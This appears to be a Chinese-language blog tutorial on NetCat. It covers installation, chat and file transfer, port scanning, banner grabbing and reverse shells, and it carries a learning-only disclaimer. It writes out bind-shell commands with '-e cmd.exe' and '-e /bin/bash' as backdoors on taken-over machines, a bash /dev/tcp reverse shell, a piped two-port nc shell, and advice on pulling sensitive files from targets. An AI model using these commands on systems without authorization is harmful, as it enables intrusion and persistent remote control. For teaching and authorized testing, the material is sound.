从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。
目录
NetCat安装教程
NetCat基础使用
NetCat文件传输
NetCat端口探测
NetCat反弹shell
注意!!!:本文所述的网络安全攻击手段仅供学习和研究目的,旨在提高用户对网络安全威胁的认识,帮助读者加强自身的防护措施。任何使用本文内容进行的攻击行为,均由实施者自行承担相关责任。博主对此不承担任何法律责任或损失赔偿义务。请遵循法律法规,确保在合法的范围内使用所学知识。
NetCat安装教程
Netcat简称为nc,被称为“网络工具的瑞士军刀”,是一个功能强大的网络工具,用于读写网络连接中的数据,它支持多种协议(如TCP和UDP),能够在网络上进行数据传输、调试、监控和安全测试,它的命令行界面使得使用者可以快速实现各种网络任务,非常适合系统管理员和网络安全专业人员使用,其下载地址为:地址 ,我们就以下载1.12的举例吧:
当然下载解压之后,如果电脑没有提前关闭杀软的话nc会被当成病毒给杀掉,我们可以打开杀软将杀掉的exe文件恢复并添加到信任区即可,然后我们点击键盘win键输入“高级系统设置”,点击环境变量,找到系统变量里面的path然后点击编辑:
然后将我们解压好netcat工具的目录编辑到里面,然后一直点击确定即可:
然后我们win+r输入cmd打开终端,在终端中输入nc -help,出现如下情况说明我们安装成功:
NetCat基础使用
创建服务端与客户端连接:这里我们可以借助netcat来分别创建服务端与客户端,然后进行两者简易的通信功能,具体如下所示:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
nc -l -p [本地端口]
02)创建客户端可以执行如下方法进行操作,cmd打开第二个终端执行如下命令:
nc [服务器ip] [服务器ip开启的端口号]
接下来在服务器中编写相应的信息进行发送,可以看到我们的客户端能及时的收到我们的消息:
返回shell使用:当我们在服务端执行相应的命令之后,在客户端我们就可以执行命令拿到服务端的cmd权限,当拿到目标机器并且目标机器上存在netcat之后,可以使用netcat建立后门方便后期执行目标机器命令的功能:具体如下所示:
弹回Window系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
// -e cmd.exe: 表示连接之后返回给连接段的程序是cmd.exe
nc -l -p [本地端口] -e cmd.exe
02)创建客户端这里我们使用虚拟机kail系统,虚拟机网络连接方式选择NAT方式,切换到root权限终端执行如下命令:
nc [ip地址] [端口号]
弹回Linux系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,打开一个终端执行如下命令:
nc -l -p [端口号] -e /bin/bash
02)创建客户端这里我们使用window系统,终端执行如下命令:
当然netcat还有一些其他的使用命令,这里就不再一一赘述了,具体可参考如下:
// 参数 + 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,... (source-routing pointer: 4,8,12,...)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时
NetCat文件传输
NetCat工具还提供了文件传输的操作,具体的使用场景主要有以下两个方面可以进行:
取证:当目标机器被黑客攻击之后取证任意可以利用NC的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成的取证误差。
下载:当目标机器上有一些敏感文件内容无非正常下载时,可以利用NC来进行文件传输。
客户端向服务端传输:接下来我们可以实现在客户端中往服务端传递文件,具体如下所示:
01)创建服务端,终端执行如下命令将接收的文件重命名然后报错当前路径:
nc -l -p 4444 > test.txt
02)创建客户端,终端执行如下命令将当前路径下的文件传输给具体ip和端口的服务器:
nc [服务器ip] [服务器端口] < [传输文件]
服务端向客户端传输:传输方式无非是和上面的命令反着来而已,这里我们再将上面传输给服务端的test.txt文件再传递给客户端,这里直接演示:
NetCat端口探测
当获取到目标权限之后,如果目标机器没有任何途径可以对内网进行探测,但此时刚好有一个netcat的情况下,就可以使用netcat对目标机器进行内网ip的一个端口扫描,具体使用的命令如下所示:
// -v: 表示对错误进行详细输出
// -n: 不对目标机进行DNS解析
// -z: zero I/O 模式,专业对端口扫描,表示对目标IP发送的数据包不包含任何payload
// -w1: 超时设置1秒
nc -v -n -z -w1 [目标ip] [开始端口-结束端口]
如下我们对我们目标主机进行一个端口扫描:
当然如果要扫描范围的端口的话可能还需要等待一段时间,如果仅仅是扫描单个端口的话直接输入单个端口即可,扫描的非常迅速:
如果向查看本机的端口开放情况,可以终端执行 netstat -ano 命令进行查看:
Banner抓取:Banner是网络服务在连接时发送的初始信息,通常包含关于该服务的名称、版本号和其他相关信息,这些信息可以帮助用户或安全专家识别正在运行的服务,了解其配置和潜在的漏洞:
使用Netcat进行Banner抓取是指通过连接到某个网络服务(如HTTP、FTP、SMTP等)并获取服务的“横幅”(banner)信息,这个横幅通常包含关于服务版本、协议和其他有用信息,能够帮助安全专家识别潜在的漏洞或配置问题,具体命令如下所示:
// echo " " 使用echo输出什么都没有的" "
// | 通过管道连接发送到对应端口服务上
echo " " | nc -v -n -w1 [目标地址] [开始端口-结束端口]
如果端口开放的情况下,端口扫描就会顺便把该端口的banner信息打印出来:
UDP端口扫描:有时候目标主机上有一些防护软件(防火墙),我们不能通过上面常规的TCP去扫描它的端口服务,这个时候我们就可以使用UDP对目标进行扫描,可以简单的绕过防火墙缺点是扫描的结果可能不是太准确,具体命令如下所示:
// -u: 参数使用UDP
nc -u -z -v [目标IP] [目标端口]
NetCat反弹shell
如果纯真某些时候拿到服务器权限之后想要设置一个反弹shell,但是目标服务器上没有安装netcat的情况下,这里时候我们就需要采取别的方式进行处理了,这里我们以bash反弹shell的方向进行举例说明:
1)客户端监听接收netcat命令,终端执行如下命令:
nc -lvp [监听端口]
2)没有安装nc的服务器反弹shell命令,终端执行如下命令:
bash -i >& /dev/tcp/[客户端ip]/[客户端监听端口] 0>&1
命令解释介绍:
bash -i >& /dev/tcp/ip/port 0>&1
在命令中bash-i表示已交互模式运行bashshell。重定向符>&,如果是在其后加文件描述符,是将bash-i交互模式传递给文件描述符,而如果其后是文件,则将bash-i交互模式传递给文件。
dev/tcp/ip/port:表示传递给远程主机的IP地址对应的端口
文件描述符:0标准输入、1标准输出、2错误输入输出
命令中的0>&1表示将标准输入重定向到标准输出,实现远程的属于可以在远程输出对应内容
达到的效果如下所示,可以看到我们拿到了我们的linux服务器的shell,并且可以查看其文件信息了,这里有一个编码问题,后期处理掉即可:
如果拿到服务器权限之后想要设置一个反弹shell,可能存在一些防护软件或防火墙配置原因不支持nc的-e参数命令,这里我们可以采用如下的方式进行解决:
1)客户端同时监听两个端口(一个端口作为输入;另一个作为输出),打开两个终端执行:
// 终端1
nc -lvp 4445
// 终端2
nc -lvp 4446
2)服务端执行如下反弹shell命令:
nc ip port | /bin/bash | nc ip port
在上面命令中,在攻击测试机器上开启两个NC,其中一个作为输入,另一个作为输出,目标机器上,使用管道来重定向输入和输出,输入通过管道传给/bin/bash再通过管道来传递给输出,具体如下所示: